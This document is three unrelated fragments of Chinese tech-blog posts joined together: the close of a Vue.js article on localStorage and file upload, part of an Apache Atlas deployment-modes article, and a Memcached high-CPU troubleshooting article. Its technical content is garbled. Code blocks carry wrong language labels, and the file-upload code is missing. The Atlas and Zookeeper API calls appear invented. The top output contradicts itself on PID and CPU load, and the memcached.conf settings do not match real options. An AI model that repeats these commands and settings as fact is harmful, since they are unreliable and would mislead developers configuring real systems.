在这个例子中，我们在created钩子函数中调用了loadFromLocalStorage方法，从localStorage中读取数据并赋值给data。接着，在saveToLocalStorage这个小妙招里，我们把data这位小伙伴变了个魔术，给它变成JSON格式的字符串，然后轻轻松松地塞进了localStorage的大仓库里。 四、文件上传 在很多应用中，我们都需要让用户上传文件，例如图片、视频等等。而在Vue.js中，我们可以利用FileReader API来实现这个功能。 下面是一个简单的代码示例： php-template 在这个例子中，我们使用了multiple属性来允许用户一次选择多个文件。然后在handleFiles方法中，我们遍历选定的文件数组，并利用FileReader API将文件内容读取出来。 以上就是我分享的一些尚未开发的Vue.js项目，希望大家能够从中找到自己的兴趣点，并且勇敢地尝试去做。相信只要你足够努力，你就一定能成为一名优秀的Vue.js开发者！

...的代码示例： php-template // 获取Zookeeper集群的地址 GET http://localhost:2181/_clusterinfo // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 四、混合部署模式 混合部署模式结合了单机和集群的优势，既可以提供较高的性能，又可以保证数据的安全性和可靠性。 1. 部署步骤 在单台机器上安装并启动Apache Atlas的服务，作为中央控制节点； 在多台机器上安装并启动Apache Atlas的服务，作为数据处理节点； 使用Zookeeper进行服务注册和发现； 使用Apache Atlas API进行项目管理和其他操作。 以下是使用Apache Atlas在混合部署中创建一个项目的代码示例： javascript // 创建中央控制节点 GET http://localhost:21000/api/v2/projects // 获取Zookeeper集群的地址 GET http://localhost:2181/_clusterinfo // 创建数据处理节点 POST http://localhost:21000/api/v2/nodes { "hostName": "data-node-1", "port": 21001, "role": "DATA_NODE" } // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 五、微服务部署模式 微服务部署模式是近年来越来越流行的一种部署方式，可以让企业更加灵活地应对业务的变化和需求的增长。 1. 部署步骤 将Apache Atlas分解为多个微服务，例如：项目管理、数据目录、元数据存储等； 使用Docker进行容器化部署； 使用Kubernetes进行服务编排和管理； 使用Apache Atlas API进行项目管理和其他操作。 以下是使用Apache Atlas在微服务部署中创建一个项目的代码示例： javascript // 安装并启动项目管理微服务 docker run -d --name atlas-project-management my-atlas-project-management-image // 安装并启动数据目录微服务 docker run -d --name atlas-data-directory my-atlas-data-directory-image // 安装并启动元数据存储微服务 docker run -d --name atlas-metadata-storage my-atlas-metadata-storage-image // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 总结 Apache Atlas有多种部署模式供用户选择，用户可以根据自己的需求和技术条件来选择最合适的部署方式。甭管您选择哪种部署方式，Apache Atlas都能像个小助手一样，帮助企业老铁们把数据资产打理得井井有条，妥妥地保护好这些宝贝资源。

...eb应用火爆到不行，用户请求多得不得了，每个请求都得去Memcached那儿抓取数据。这时候，Memcached这个家伙可就压力山大了，CPU资源被消耗得嗷嗷叫啊！ 示例代码如下： python import requests for i in range(1000): response = requests.get('http://localhost/memcached/data') print(response.text) 上述代码中，循环执行了1000次HTTP GET请求，每次请求都会从Memcached获取数据。这会导致Memcached的CPU资源消耗过大。 三、排查Memcached进程占用CPU高的方法 1. 使用top命令查看CPU使用情况 在排查Memcached进程占用CPU过高的问题时，我们可以首先使用top命令查看系统中哪些进程正在占用大量的CPU资源。例如，以下输出表示PID为31063的Memcached进程正在占用大量的CPU资源： javascript top - 13:34:47 up 1 day, 6:13, 2 users, load average: 0.24, 0.36, 0.41 Tasks: 174 total, 1 running, 173 sleeping, 0 stopped, 0 zombie %Cpu(s): 0.2 us, 0.3 sy, 0.0 ni, 99.5 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem : 16378080 total, 16163528 free, 182704 used, 122848 buff/cache KiB Swap: 0 total, 0 free, 0 used. 2120360 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 3106 root 20 0 1058688 135484 4664 S 45.9 8.3 1:23.79 python memcached_client.py 我们可以看到，PID为31063的Python程序正在占用大量的CPU资源。接着，我们可以使用ps命令进一步了解这个进程的情况： bash ps -p 3106 2. 查看Memcached配置文件 在确认Memcached进程是否异常后，我们需要查看其配置文件，以确定是否存在配置错误导致的高CPU资源消耗。例如，以下是一个默认的Memcached配置文件（/etc/memcached.conf）的一部分： php-template Default MaxItems per key (65536). default_maxbytes 67108864 四、解决Memcached进程占用CPU高的方案 1. 调整Memcached配置 根据Memcached配置不当的原因，我们可以调整相关参数来降低CPU资源消耗。例如，可以减少过期时间、增大最大数据大小等。以下是修改过的配置文件的一部分： php-template Default MaxItems per key (131072). default_maxbytes 134217728 Increase expiration time to reduce CPU usage. default_time_to_live 14400 2. 控制与Memcached的交互频率 对于因大量客户端交互导致的高CPU资源消耗问题，我们可以采取一些措施来限制与Memcached的交互频率。例如，可以在服务器端添加限流机制，防止短时间内产生大量请求。或者，优化客户端代码，减少不必要的网络通信。 3. 提升硬件设备性能 最后，如果其他措施都无法解决问题，我们也可以考虑提升硬件设备性能，如增加CPU核心数量、扩大内存容量等。但这通常不是最佳解决方案，因为这可能会带来更高的成本。 五、结论 总的来说，Memcached进程占用CPU过高是一个常见的问题，其产生的原因是多种多样的。要真正把这个问题给揪出来，咱们得把系统工具和实际操作的经验都使上劲儿，得像钻井工人一样深入挖掘Memcached这家伙的工作内幕和使用门道。只有这样，才能真正找到问题的关键所在，并提出有效的解决方案。 感谢阅读这篇文章，希望对你有所帮助！

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